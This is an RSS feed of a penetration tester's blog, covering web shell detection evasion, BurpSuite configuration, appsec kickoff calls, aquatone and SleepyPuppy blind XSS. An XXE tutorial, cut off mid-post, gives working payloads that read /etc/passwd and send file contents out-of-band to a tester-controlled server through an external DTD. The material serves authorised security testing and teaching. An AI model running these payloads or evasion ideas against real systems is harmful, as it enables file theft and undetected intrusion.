<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[RANDom Acts of Security]]></title><description><![CDATA[Appsec & Netsec Thoughts]]></description><link>https://randomactsofsecurity.com/</link><image><url>https://randomactsofsecurity.com/favicon.png</url><title>RANDom Acts of Security</title><link>https://randomactsofsecurity.com/</link></image><generator>Ghost 2.12</generator><lastBuildDate>Fri, 03 Apr 2026 15:46:39 GMT</lastBuildDate><atom:link href="https://randomactsofsecurity.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Advanced Web Shells - Ideas]]></title><description><![CDATA[<h2 id=""></h2>
<p>Recently the NSA released a <a href="https://github.com/nsacyber/Mitigating-Web-Shells">repository on guidance</a> for mitigating web shells. The repo contains a number of signatures and tools to help mitigate web shells and provides some valuable insight on how APT's are using advanced webshells in their attacks.</p>
<p>Below I've gone through the guidance above and thought</p>]]></description><link>https://randomactsofsecurity.com/thinking-of-advanced-web-shells/</link><guid isPermaLink="false">5efa1121329375256d5f9ff4</guid><category><![CDATA[apt]]></category><category><![CDATA[red team]]></category><category><![CDATA[TTP]]></category><dc:creator><![CDATA[Rand]]></dc:creator><pubDate>Mon, 15 Jun 2020 16:11:00 GMT</pubDate><content:encoded><![CDATA[<h2 id=""></h2>
<p>Recently the NSA released a <a href="https://github.com/nsacyber/Mitigating-Web-Shells">repository on guidance</a> for mitigating web shells. The repo contains a number of signatures and tools to help mitigate web shells and provides some valuable insight on how APT's are using advanced webshells in their attacks.</p>
<p>Below I've gone through the guidance above and thought of several questions that will need to be answered ahead of time while building out an advanced web shell. In future posts, I'll do some research on these questions and identify answers. Then, we will build out a web shell based on these strategies and see how it performs against blue teams to help blue teams level up ... and more importantly, see if these monitoring characteristics are actually being implemented by IPS/EDR.</p>
<h2 id="detectingblockingwebshells">Detecting/Blocking Web Shells</h2>
<p><code>&quot;Administrators can programmatically compare the production site with the known-good version to identify added or changed files</code><br>
<code>With the rise of CI/CD in the Software Development Life Cycle (SDLC), production applications may have weekly or daily releases. If your webshell is dropped onto disk in a non temporary location (such as web root), it may disappear or worse kick off a signal if monitoring is in place for changed files.&quot;</code></p>
<p>As a red teamer:</p>
<ul>
<li>Which day of the week would be best to upload my web shell? Can we identify any patterns within the organization that would suggest those who are monitoring network activity may not be paying attention?</li>
<li>Did our OSINT reveal anything about the development practices of the organization? Are they agile? Do they have continuous releases?</li>
</ul>
<p><code>&quot;Using a file integrity monitoring system can block file changes to a specific directory or alert when changes occur&quot;</code></p>
<ul>
<li>Where do you guess the web shell is being dropped on the server? If you've found an RFI/Unrestricted File Upload to gain a shell, what directory are you targeting? Is it a temporary directory on a different disk than webroot (apps following best practices will do this), or are you in webroot itself?</li>
<li>Is there a way to bypass HIPS rules for directories?</li>
</ul>
<h2 id="detectingabnormalitiesinlogs">Detecting abnormalities in Logs</h2>
<p><code>&quot;This analytic is likely to produce significant false positives in many environments, so it should be employed cautiously... Therefore, this analytic should only be one part of a broader defense in depth approach to mitigating web shells.&quot;</code></p>
<ul>
<li>Do any solutions in 2020 actually flag on these behaviours? Do companies actually turn it on or is it too much noise?</li>
<li>What are typical User-Agents used by internal applications?</li>
<li>What are typical User-Agents used by cloud applications?</li>
<li>What are typical Referrer-Headers used by applications? Can you cycle through referrer headers based on cralwed application URLs?</li>
</ul>
<h2 id="detectingartifacts">Detecting Artifacts</h2>
<p><code>&quot;Web shells are easy to modify without losing functionality and can thus be tailored to avoid host base signatures such as file artifacts.&quot;</code></p>
<ul>
<li>Can our shell be dynamically generated and tested against a list of Yara signature rules? <a href="https://github.com/nsacyber/Mitigating-Web-Shells/blob/master/core.webshell_detection.yara">NSA provides Yara rules on github</a>, how can we learn from these rules?</li>
<li>Can our shell avoid network based detection (IDS/WAF)? Look into snort signatures</li>
<li>Can we achieve fileless execution? What are some strategies for this? More research needed...</li>
<li>How can we avoid TLS MITM inspections?</li>
<li>Can we avoid launching common system calls that EDR is detecting on with a blacklist? Such as whoami.exe or ifconfig (Auditd linux)</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Standard BurpSuite Config]]></title><description><![CDATA[<h2 id="proxytab">Proxy Tab</h2>
<p>This is the single most important tab in BurpSuite. The proxy tab allows you to monitor the flow of application traffic while making notes. I use several extensions such as 'Scope Monitor' which greatly help organize the content.</p>
<p>A common pitfall I see among junior application pentesters is</p>]]></description><link>https://randomactsofsecurity.com/standard-burpsuite-config/</link><guid isPermaLink="false">5efa0ace329375256d5f9fdd</guid><category><![CDATA[appsec]]></category><category><![CDATA[burp]]></category><dc:creator><![CDATA[Rand]]></dc:creator><pubDate>Mon, 20 Apr 2020 01:37:00 GMT</pubDate><content:encoded><![CDATA[<h2 id="proxytab">Proxy Tab</h2>
<p>This is the single most important tab in BurpSuite. The proxy tab allows you to monitor the flow of application traffic while making notes. I use several extensions such as 'Scope Monitor' which greatly help organize the content.</p>
<p>A common pitfall I see among junior application pentesters is failing to have the proxy filters setup to observe more traffic at the beginning of their engagement, often overlooking requests for binary content. I filter out and analyze JS in the 'target' tab, don't need it cluttering up my proxy tab. And I tend to only include requests in scope once that has been established after crawling the app.</p>
<p><img src="https://randomactsofsecurity.com/content/images/2020/06/proxy-tab-options.png" alt="proxy tab options"></p>
<h2 id="intruder">Intruder</h2>
<ul>
<li>You can send an item from Intruder directly to a Burp Scanner config to analyze one parameter</li>
<li>Make sure you know how to use the different attack types. I use the 'pitchfork' attack type almost as much as the standard 'sniper' payload.</li>
<li>Experiment with the Payload Processing, it's extremely useful for transforming data that you may feel needs to be scripted. This is quicker.</li>
<li>Payload encoding is often an issue when dealing with wordlists of already encoded characters. May want to disable this upon monitoring Intruder data.</li>
<li>Save your intruder scan results, you may forget to take a screenshot.</li>
</ul>
<h2 id="repeater">Repeater</h2>
<p>Check the 'auto-scroll to match when text changes' option to save yourself some time when hunting for reflected content.</p>
<p><img src="https://randomactsofsecurity.com/content/images/2020/06/repeater-option.png" alt="repeater-option"></p>
<p>You may need to disable Repeater options such as &quot;Update Content-Length&quot; when validating for issues such as HTTP Request Smuggling.</p>
<p><img src="https://randomactsofsecurity.com/content/images/2020/06/repeater-menu.png" alt="repeater-menu"></p>
<h2 id="templates">Templates</h2>
<p>With the release of Burp 2.0 a wide range of templating options have become available. So far, I've created several scan profiles which I use when running my scans. For example, an XSS only profile is easily created.</p>
<p><img src="https://randomactsofsecurity.com/content/images/2020/06/xss-template.png" alt="xss-template"></p>
<h2 id="projectoptions">Project Options</h2>
<p><strong>TLS:</strong> Select the 'use custom protocols and ciphers' and select everything in both lists. The reason we're doing this is to avoid TLS issues in the future with misconfigured middleware. Additionally, check the Unsafe renegotiation option.</p>
<p><img src="https://randomactsofsecurity.com/content/images/2020/06/project-tls-options.png" alt="project-tls-options"></p>
<p><strong>Sessions:</strong> These are typically left default, until I understand the application more in detail and need additional macro's or cookie jar handling functionality (such as cookies -&gt; scanner)</p>
<p><strong>Misc:</strong> If your organization has a private burp collaborator server, fill it in here. Also, if you have internal proxy issues polling for Burp Collaborator over unencrypted HTTP will be your solution.</p>
<h2 id="useroptions">User Options</h2>
<p>Typically I have a SOCKS Proxy setup to relay my burp traffic, but it's not always necessary depending on where you're executing your pentest from.</p>
<p>On the TLS tab, I enable both Java TLS options by default. When things go wrong with Burp, these are the first to be disabled.</p>
<p><img src="https://randomactsofsecurity.com/content/images/2020/06/user-tls-options.png" alt="user-tls-options"></p>
<p>Make sure to disable proxy interception at startup so you don't go crazy.</p>
<p><img src="https://randomactsofsecurity.com/content/images/2020/06/disable-intercept.png" alt="disable-intercept"></p>
<p>Note: User options sometimes need to be reloaded for whatever reason. If burp is acting weird or your extensions didn't load, load them from the file menu.</p>
<h2 id="extensions">Extensions</h2>
<p>Make sure you use both Jython and JRuby to get access to all the burp extensions.</p>
<p>My favorite shortlist of extensions (though I'm probably missing some as I experiment with new ones and swap configs all the time).</p>
<p><img src="https://randomactsofsecurity.com/content/images/2020/06/burp-extensions.png" alt="burp-extensions"></p>
<p>As you learn more about your target add additional extensions into your assessment.</p>
<h3 id="logger">Logger++</h3>
<p>Make sure logger++ is the very last extension loaded otherwise it will miss some of the extensions traffic.</p>
<p>Additionally, change the maximum log entries to a larger result or you will be very sad when you forget and have to redo 20,000 requests :(</p>
<p><img src="https://randomactsofsecurity.com/content/images/2020/06/maximum-log-entries.png" alt="maximum-log-entries"></p>
<h3 id="decoderimproved">Decoder Improved</h3>
<p>I love decoder improved, but don't use it for XXE payloads as it handles nested XML poorly. Might take a look at the source code for it one day.</p>
<h3 id="collaboratoreverywhere">Collaborator Everywhere</h3>
<p>Great extension but if the app starts breaking you may need to switch it back to &quot;Collaborator Nowhere&quot;.</p>
<h2 id="launcher">Launcher</h2>
<p>I tend to give burpsuite an extra couple gigs of ram because Java.</p>
<pre><code class="language-bash">java -Xmx4098m -jar burpsuite_pro.jar
</code></pre>
<h2 id="troubleshooting">Troubleshooting</h2>
<ul>
<li>Why is Burp not working? It's probably the TLS options. Or you have intercept on by default. Or collaborator everywhere is breaking the app.</li>
<li>Why did my extensions disappear? Your default options loaded most likely don't point to the correct Jython/Jruby instances.</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Appsec Kickoff Calls]]></title><description><![CDATA[<h3 id="kickoffcall">Kickoff Call</h3>
<p>Every application penetration test you perform should be accompanied with a kickoff call to understand the scope, timeframe, and objective of the test. Here are the typical questions I ask during these calls. The goal of your kickoff call should be to understand the application in as much</p>]]></description><link>https://randomactsofsecurity.com/appsec-kickoff-calls/</link><guid isPermaLink="false">5efa0a4b329375256d5f9fd5</guid><category><![CDATA[appsec]]></category><dc:creator><![CDATA[Rand]]></dc:creator><pubDate>Sun, 01 Mar 2020 15:35:00 GMT</pubDate><content:encoded><![CDATA[<h3 id="kickoffcall">Kickoff Call</h3>
<p>Every application penetration test you perform should be accompanied with a kickoff call to understand the scope, timeframe, and objective of the test. Here are the typical questions I ask during these calls. The goal of your kickoff call should be to understand the application in as much detail as possible. Ideally, we would want a developer to be on the call for the technical questions.</p>
<h3 id="general">General</h3>
<ul>
<li>At a high level, what does this application do? Who are the typical business users/consumers of the application?</li>
<li>What is the sensitivity of the data the application handles? (PCI, PHI/PII, GLBA, SSN's etc.)</li>
<li>Is there any attack scenarios you as a customer are worried about? Any sensitive functionality that should be analyzed in depth?</li>
</ul>
<h3 id="environment">Environment</h3>
<ul>
<li>Is there a WAF protecting the application? Will our attack boxes need whitelisting?</li>
<li>What environment are we testing in? Is the infrastructure owned by the company or will we need approval?</li>
<li>Are administrators notified of errors/logs via email? (To avoid spamming your PoC's)</li>
<li>Are we allowed to test 24/7? Timezone restrictions?</li>
</ul>
<h3 id="technicalquestions">Technical Questions</h3>
<ul>
<li>What language(s) is the application written in?</li>
<li>What front end technologies are in use? (React/Vue/Angular etc)</li>
<li>What is the backend database? Are you using Cloud Service Provided Databases?</li>
<li>What is the authentication mechanism? Is there any 2FA? Account lockout rules?</li>
<li>Are there any data-flow-diagrams, network or application architecture diagrams available?</li>
<li>Roughly how many dynamic pages are there/How many lines of code?</li>
<li>Are there multiple user roles in the application? Do you have a user role/permissions chart available?</li>
<li>Is there an API associated with the application? Do we have access to documentation/swagger/wsdl specs?</li>
<li>If not a black-box pentest, do we have access to the source code? If not.... can we have it?</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Tweaking Aquatone: ReClustering]]></title><description><![CDATA[Adding some improvments to aquatone to recluster saved sessions]]></description><link>https://randomactsofsecurity.com/tweaking-aquatone-reclustering/</link><guid isPermaLink="false">5d4cc6e5329375256d5f9f6f</guid><category><![CDATA[dev]]></category><category><![CDATA[golang]]></category><category><![CDATA[recon]]></category><dc:creator><![CDATA[Rand]]></dc:creator><pubDate>Fri, 09 Aug 2019 01:49:33 GMT</pubDate><content:encoded><![CDATA[<p>Aquatone is one of <a href="https://github.com/michenriksen/aquatone">my favorite tools for performing recon</a> against a wide range of web servers and it's goal is to capture screenshots of the applications running on the web servers, categorize them based on similarity, and output a visual report. Compared to tools such as eyewitness, aquatones clustering feature makes it the tool of choice when attempting to identify applications across a wide range of assets. </p><p>I'm going to detail some features I've added to aquatone throughout this post and provide an example of my improvements to the initial session feature. </p><h3 id="similarity-option">Similarity Option</h3><p>I've added a quick option to actually change the similarity ratio inside of aquatone. By default, aquatone attempts to categorize applications based on 80% similarity, which has been hardcoded. This option will allow any perfect float value to be used as an argument for additional correlation, this is especially helpful as you can now rerun reports easily if the applications are not mapped to your liking. </p><h3 id="inputfile-option">InputFile Option</h3><p>Additionally, I've added another option to parse input into aquatone from a file: either an nmap scan or a raw file containing a list of hosts/urls. In a prior version of aquatone, this feature was there, however with the rewrite in golang the choice was made to parse standard input. I have some other tools that really depend on reading from a file when chaining together tools, so a quick fix here allows input from a file. I've created a <a href="https://github.com/michenriksen/aquatone/pull/205">pull request with the aquatone project</a> for these two features.</p><figure class="kg-card kg-image-card"><img src="https://randomactsofsecurity.com/content/images/2019/08/new_options.PNG" class="kg-image"></figure><h3 id="reclustersessions-option">ReClusterSessions Option</h3><p>Lastly, the most interesting feature I've added into the aquatone project is the ability to recluster already 'aquatoned' assets. Previously, if you wanted to scan multiple lists of hosts (perhaps days apart, or splitting up scanning based on subnets) you would be forced to have individual aquatone folders containing all the screenshots/headers/responses inside of them with a single report for each of your split out groups. This is not ideal, as you cannot go back and regroup similar web applications across these groups of files.</p><p>For example, we have the following hosts file containing three websites along with the corresponding aquatone report splitting these assets into their unique buckets.</p><figure class="kg-card kg-image-card"><img src="https://randomactsofsecurity.com/content/images/2019/08/aquatone_hosts_1.PNG" class="kg-image"><figcaption>Hosts.txt</figcaption></figure><p></p><figure class="kg-card kg-image-card"><img src="https://randomactsofsecurity.com/content/images/2019/08/first_report-1.PNG" class="kg-image"><figcaption>first aquatone report html</figcaption></figure><p>Next, we have a second hosts file containing three additional websites along with the corresponding report.</p><figure class="kg-card kg-image-card"><img src="https://randomactsofsecurity.com/content/images/2019/08/aquatone_hosts_2.PNG" class="kg-image"><figcaption>Hosts2.txt</figcaption></figure><figure class="kg-card kg-image-card"><img src="https://randomactsofsecurity.com/content/images/2019/08/second_report.PNG" class="kg-image"><figcaption>second aquatone report html</figcaption></figure><p>In the current state of aquatone, that's the structure you will have to unfortunately cope with. However, I have added a feature to fix this which works fairly well. I've changed aquatone to output the 'sessions.json' into individual unique sub directories,  and then parse all of those sessions and recluster them to create a new report.</p><p>Working off our example above, we now have each scan inside their own sessions folder containing the json files. </p><figure class="kg-card kg-image-card"><img src="https://randomactsofsecurity.com/content/images/2019/08/structure.PNG" class="kg-image"><figcaption>folder structure of new /sessions/ directory</figcaption></figure><p>Now all we have to do is recluster those sessions and we get a freshly merged aquatone html report.</p><figure class="kg-card kg-image-card"><img src="https://randomactsofsecurity.com/content/images/2019/08/reclusterarg.PNG" class="kg-image"><figcaption>-reclustersessions argument provided</figcaption></figure><figure class="kg-card kg-image-card"><img src="https://randomactsofsecurity.com/content/images/2019/08/final_report.PNG" class="kg-image"><figcaption>Final Report, All sessions merged into one report</figcaption></figure><p><a href="https://github.com/randomactsofsecurity/aquatone/commit/d0e3f23cf188b1f0adc1d5767814cb6a94646489">You can grab the code for this option here</a>, I will not be attempting to merge this into the aquatone source as it's not in the best state at the moment, and messes with the overall structure of the aquatone output that I'm not sure follows the authors direction.</p><p>Just writing this blog post so I can remember the purpose of this code in the future when I need to do more recon again.</p><p>In the future, I want to dive into the actual clustering ratio and see if we can improve upon the current categorization of web applications in aquatone. For now, I'll continue to learn golang and add some more quality of life improvements to aquatone :)</p>]]></content:encoded></item><item><title><![CDATA[XSS Tools #1 - SleepyPuppy]]></title><description><![CDATA[Overview of Blind XSS, Sleepy Puppy, and tweaking SleepyPuppy]]></description><link>https://randomactsofsecurity.com/xss-tools-1-sleepy-puppy/</link><guid isPermaLink="false">5d12a23d329375256d5f9ebf</guid><category><![CDATA[exploit]]></category><category><![CDATA[xss]]></category><category><![CDATA[sleepypuppy]]></category><dc:creator><![CDATA[Rand]]></dc:creator><pubDate>Tue, 25 Jun 2019 23:42:20 GMT</pubDate><media:content url="https://randomactsofsecurity.com/content/images/2019/06/home.PNG" medium="image"/><content:encoded><![CDATA[<img src="https://randomactsofsecurity.com/content/images/2019/06/home.PNG" alt="XSS Tools #1 - SleepyPuppy"><p>SleepyPuppy is a Cross-Site Scripting (XSS) management tool which is not only full of features and customization options, but also has a really enjoyable name. SleepyPuppy was<a href="https://github.com/Netflix-Skunkworks/sleepy-puppy"> originally developed by the Netflix Skunkworks</a> security team released back in ~2015, and unfortunately deprecated from future updates around ~2018.  While the original creators state that other tools have come along which streamline the process, which may be true, other tools are lacking in the features that I personally want: dynamic customization of payloads, payload templating, and a way to logically sort and filter out all the responses you may get back. These XSS management tools are especially useful when attempting Blind XSS. </p><p>Let's quickly cover the risk of Blind XSS. In traditional XSS variants, an attacker is attacking the 'front door' of an application... meaning whatever is user facing. Most commonly you're targeting other users of the same application, or perhaps an administrator account to steal. While you may be able to go several applications deep if this is a portal application, all your attacks typically end up executing at the 'front of the stack.' However, in Blind XSS, an attacker attempts to send malicious payloads through any service they can get their hands on such as APIs, Logging, Headers, Database calls, File Uploads, and more in order to pop a payload somewhere down the stack. </p><p>For example, in order to keep up with modern standards and demands of clients, a development team is forced to implement logging across the board for all their APIs... and to meet the demands they decide to log everything and anything from an HTTP request. They're sending these logs to 'XYZ Log Viewer' which someone occasionally checks when errors arise. We decide to start uploading xss payloads inside of the User-Agent calling back to our xss tool of choice. Several days/weeks/months later all of a sudden we've received a callback to our tool! What happened? Well in this hypothetical scenario, let's say the XYZ Log Viewer is vulnerable to some form of XSS, and finally some internal user decided to check the logs and because they've been logging all HTTP data, our User-Agent XSS pops and we get our execution.</p><p>These various XSS tools present an attacker the insight on script execution and a feedback mechanism to tailor, and potentially chain, attacks against a given target, especially against services several layers deep typically hidden from an external point of view.</p><p>So back to SleepyPuppy, what are its features?</p><ul>
<li>Create templated script variants to share across pentesters</li>
<li>Dynamically update these 'PuppyScript' payloads (in case of error, new features, or de-weaponizing)</li>
<li>Provides a way to have a single generic payload that only requests the data you need</li>
<li>Allows &quot;assessments&quot; to be created which can sort assessment A from assessment B; critical for deploying the tool on a single asset for pentesters</li>
<li>Takes a screenshot upon xss execution</li>
<li>Has Access Logs independent of script execution (handy for troubleshooting or identifying controls)</li>
<li>Actually has Users and Authentication</li>
</ul>
<p>In future posts I'll touch on why those bullet points above are especially important, and touch on other tools that are missing some (such as ezXSS).</p><p>Modern application development has started relying on the LocalStorage and SessionStorage for storing sensitive information and by default SleepyPuppy does not support this unless you stub stealing that data in a generic collector payload. Borrowing this UI idea from ezXSS, I've decided to stub in this information by default into SleepyPuppy payloads, as well as clean up the theme, update the UI to the newest Flask Admin templates, and fix a couple hardcoded url issues. In the near future I'm hoping to take a crack at fixing the Burp Plugin to work with Burp 2.0 in order to allow an easy stub for SleepyPuppy payloads.</p><p><a href="https://github.com/randomactsofsecurity/sleepy-puppy">https://github.com/randomactsofsecurity/sleepy-puppy</a></p>]]></content:encoded></item><item><title><![CDATA[General Approach for XML External Entity (XXE) Testing]]></title><description><![CDATA[General Approach for XML External Entity (XXE) Testing, my thoughts from a penetration testing point of view]]></description><link>https://randomactsofsecurity.com/testing-methodologies-for-external-entity-expansion-xxe/</link><guid isPermaLink="false">5cb4f3a3e97e3d2548bf06b7</guid><category><![CDATA[xxe]]></category><category><![CDATA[exploit]]></category><category><![CDATA[thoughts]]></category><dc:creator><![CDATA[Rand]]></dc:creator><pubDate>Fri, 19 Apr 2019 22:18:00 GMT</pubDate><media:content url="https://randomactsofsecurity.com/content/images/2019/04/xxe_post_header.png" medium="image"/><content:encoded><![CDATA[<img src="https://randomactsofsecurity.com/content/images/2019/04/xxe_post_header.png" alt="General Approach for XML External Entity (XXE) Testing"><p>There's a bunch of articles floating around the internet on XML External Entity (XXE) Injection which typically describe various payloads, attack vectors, and general use cases when it comes to this fun vulnerability. However, back when I was first learning about XXE I could never come across a proper thought process for testing XXE. After running into XXE during various penetration tests, I've decided to share how I personally test this vulnerability, and moreover, what my mindset is when I'm on the hunt for XXE. </p><p>Check the bottom of this post for some great references and additional guides to XXE which have helped me over the years.</p><h2 id="quick-review-internal-entities-vs-external-entities">Quick Review: Internal Entities vs External Entities</h2><p>Before we dive in, knowing the difference between internal and external entities will save you some headache in the long run. Even though internal entities are not as juicy of an attack vector (other than denial of service), they can be very useful as a litmus test for xxe protections.</p><p>This is an Internal XML Entity which is used to expand text:</p><pre><code class="language-xml">&lt;!DOCTYPE root [
    &lt;!ENTITY my_entity &quot;foo&quot;&gt;
]&gt;

&lt;root&gt;Testing for &amp;my_entity;bar expansion&lt;/root&gt;
</code></pre>
<p>This will render as: Testing for foobar expansion</p>
<p>And this is an External Entity which is supposed to be used to pull in other XML content</p><pre><code class="language-xml">&lt;!DOCTYPE root [
    &lt;!ENTITY my_external_entity SYSTEM &quot;https://www.blah.com/copy.xml&quot;&gt;
]&gt;

copy.xml could contain the html entity &amp;copy;

&lt;root&gt;Pull in my external entity &amp;my_external_entity; 2019&lt;/root&gt;
</code></pre>
<p>This will render as: Pull in my external entity ©2019</p>
<p>Now with that background we can continue on to my personal attack thought process for XXE</p><h2 id="doctype-callbacks">DOCTYPE Callbacks</h2><p>First, can I attempt to load an External DTD and get a DNS (and hopefully HTTP) callback via DOCTYPE declaration? Often times when pentesting an internet facing application firewall rules or network segmentation will block HTTP callbacks; however as an internal pentester, you should be able to receive a HTTP callback most of the times if DNS was at least successful.</p><pre><code class="language-xml">&lt;!DOCTYPE dtd SYSTEM &quot;http://###.burpcollaborator.net&quot;&gt;
</code></pre>
<p>The golden response signaling a great chance at XXE will be valid DNS and HTTP callbacks. It's important to remember at this stage, just because we got a connection doesn't mean we'll be able to retrieve any files or perform other malicious actions.</p><p>If we do not get back at least a DNS lookup, odds are network controls are preventing any sort of connection from being made which will make life more difficult for stealing files if we end up with an oob exploit. 99% of the time in my XXE experience I've been at least able to obtain a DNS callback, however your results may vary.</p><h2 id="reflection">Reflection</h2><p>The next area I'm keying in on is the application request and response. In order for our traditional XXE to be successful, I'm going to need some application request parameter/data reflected back in the response.... with several caveats we'll get to in a second. The questions I ask myself are:</p><ul>
<li>How does a normal request work on the vulnerable endpoint?</li>
<li>Are we getting any reflected content back from our input?</li>
</ul><p>Without understanding or estimating how the application functionally works, or attempting to guess at how its processing request data, you're going to be blindly throwing payloads at the application hoping for an exploit. <strong>You're a better tester than that</strong>. </p><p>Instead, look at the content of the request, try to understand if XML parsing is occurring, or if your request is being transformed in some way. For non XML requests, try to understand why that request type is being transformed back into an XML response (and vice-versa). I've seen first hand XML data inside of JSON requests with an XML response, so pay attention to response types!</p><p>To the second question, if our input is getting reflected, great! If not, what about an invalid request, are there verbose errors that would allow our user input to get reflected back there?</p><p>For the sake of brevity, the scenario below will be about traditional XML Requests and XML responses.</p><pre><code class="language-xml">For example, if we have the following request:

POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

&lt;root&gt;
    &lt;file_uuid&gt;1337&lt;/file_uuid&gt;
&lt;/root&gt;


With the following response:

HTTP 200 OK
Content-type: text/xml

&lt;root&gt;
    &lt;file_uuid&gt;1337&lt;/file_uuid&gt;
    &lt;file_name&gt;Hello_World.txt&lt;/file_uuid&gt;
    &lt;file_contents&gt;foobar&lt;/file_contents&gt;
&lt;/root&gt;

</code></pre>
<p>And an invalid request reflects as:</p>
<pre><code class="language-xml">
POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

&lt;root&gt;
    &lt;file_uuid&gt;1337xyzabc&lt;/file_uuid&gt;
&lt;/root&gt;


With the following response:

HTTP 404 NOT FOUND
Content-type: text/xml

&lt;root&gt;
    &lt;error&gt;Could not find file with uuid 1337xyzabc&lt;/error&gt;
&lt;/root&gt;

</code></pre>
<p>We can see that the file_uuid element is reflecting it's data back in the response of the XML processor, we can now use this to our advantage. Once we've established we have reflection, we can begin testing for XXE.</p><ol><li><strong>Confirm internal entity expansion</strong> to determine if entities are disabled across the board by the XML processor.</li></ol><pre><code class="language-xml">
POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

&lt;!DOCTYPE root [
    &lt;!ENTITY internal &quot;foobar&quot;&gt;
]&gt;
&lt;root&gt;
    &lt;file_uuid&gt;1337&amp;internal&lt;/file_uuid&gt;
&lt;/root&gt;


Will **hopefully** return the following response:

HTTP 404 NOT FOUND
Content-type: text/xml

&lt;root&gt;
    &lt;error&gt;Could not find file with uuid 1337foobar&lt;/error&gt;
&lt;/root&gt;

</code></pre>
<p>2. If we have internal entity expansion, let's move on to a <strong>pure XXE payload</strong> and retrieve a local file. Based on the architecture of the system the application is running on, choose your given payload (Windows vs Linux). Note: I've started using /etc/group in addition to /etc/passwd as payload types due to file system permission restrictions.</p><pre><code class="language-xml">
POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

&lt;!DOCTYPE root
    &lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&gt;
]&gt;
&lt;root&gt;
    &lt;file_uuid&gt;1337&amp;xxe;&lt;/file_uuid&gt;
&lt;/root&gt;


Will hopefully return a successful file include

HTTP 404 NOT FOUND
Content-type: text/xml

&lt;root&gt;
    &lt;error&gt;Could not find file with uuid 1337  root:!:0:0::/:/usr/bin/sh
daemon:!:1:1::/etc:.......&lt;/error&gt;
&lt;/root&gt;

</code></pre>
<p>3. Try a<strong> parameter variant</strong>. While parameters are typically used in out of band variants, they could be fruitful based on your XML processor and it's worth the 10 seconds it takes to check.</p><pre><code class="language-xml">
POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

&lt;!DOCTYPE root [
    &lt;!ENTITY % file SYSTEM &quot;file:///etc/passwd&quot;&gt;
    &lt;!ENTITY xxe &quot;contents of file: %file;&quot;&gt;
]&gt;
&lt;root&gt;
    &lt;file_uuid&gt;1337&amp;xxe;&lt;/file_uuid&gt;
&lt;/root&gt;


Will **hopefully** return the following response:

HTTP 404 NOT FOUND
Content-type: text/xml

&lt;root&gt;
    &lt;error&gt;Could not find file with uuid 1337 contents of file:  root:!:0:0::/:/usr/bin/sh
daemon:!:1:1::/etc:.......&lt;/error&gt;
&lt;/root&gt;

</code></pre>
<p>4. If the above has failed, it's time to move on to the <strong>Out of Band </strong>variants</p><h2 id="out-of-band-oob-">Out of Band (OOB)</h2><p>What we're referring to with 'Out of Band (OOB)' XXE (sometimes referred to as blind) variants is utilizing XML parameter entities to send the contents of our file to an attacker controlled webserver. What we're attempting to do is retrieve the contents of a given file and then steal one line of that data via a GET request to a local webservers access logs that we're monitoring. </p><p>As an attacker, I will typically spin up a python HTTP or HTTPS SimpleHTTPServer module in order to serve up my various XML payloads. Here is a link on how to <a href="https://blog.anvileight.com/posts/simple-python-http-server/">setup a HTTPS variant of this module.</a></p><p>From my personal experience with oob xxe variants, there is a single requirement which needs to be met in order for you to continue on to more interesting exfiltration vectors such as FTP (for multiline file retrieval):</p><p><strong><em>The parameter nested inside of an entity must expand when called</em></strong></p><pre><code class="language-xml">
POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

&lt;!DOCTYPE root [
    &lt;!ENTITY % param &quot;foobar&quot;&gt;
    &lt;!ENTITY xxe SYSTEM &quot;http://127.0.0.1/%param;&quot;&gt;
]&gt;
&lt;root&gt;
    &lt;file_uuid&gt;1337 &amp;xxe;&lt;/file_uuid&gt;
&lt;/root&gt;


Can return any response, but on your webserver you will check for expansion

HTTP 404 NOT FOUND
Content-type: text/xml

&lt;root&gt;
    &lt;error&gt;Could not find file with uuid 1337&lt;/error&gt;
&lt;/root&gt;

</code></pre>
<figure class="kg-card kg-image-card"><img src="https://randomactsofsecurity.com/content/images/2019/04/xxe1_http_server.PNG" class="kg-image" alt="General Approach for XML External Entity (XXE) Testing"><figcaption>XXE Python Simple HTTP Server</figcaption></figure><p>If you were successful, congrats you've got OOB XXE and can exfiltrate data one line at a time via a GET request in your access logs.</p><p>If you do not recieve a GET to /foobar, and instead recieve a GET /%param we're going to have to dive quite a bit deeper into various request types. The next major variant will be attempting to force the entity itself to be written to the doctype and trigger the expansion, rather than triggering the expansion inline. There are several different types of payloads here which all may work (we're starting to have to guess a bit and see what sticks):</p><pre><code class="language-xml">
POST /get_file HTTP/1.1
Host: blah.com
Content-type: text/xml
Content-length: 0

&lt;!DOCTYPE root [
    &lt;!ENTITY % param SYSTEM &quot;http://127.0.0.1/dtd.xml&quot;&gt;
    %param;
    %p;
]&gt;
&lt;root&gt;
    &lt;file_uuid&gt;1337 &amp;xxe;&lt;/file_uuid&gt;
&lt;/root&gt;

Our External DTD file contains the following:
--------------------
&lt;!ENTITY % exfil SYSTEM &quot;file:///etc/group&quot;&gt;
&lt;!ENTITY % p &quot;&lt;!ENTITY xxe SYSTEM 'http://127.0.0.1/?%exfil;'&gt;&quot;&gt;

Can return any response, but on your webserver you will check for expansion

HTTP 404 NOT FOUND
Content-type: text/xml

&lt;root&gt;
    &lt;error&gt;Could not find file with uuid 1337&lt;/error&gt;
&lt;/root&gt;

</code></pre>
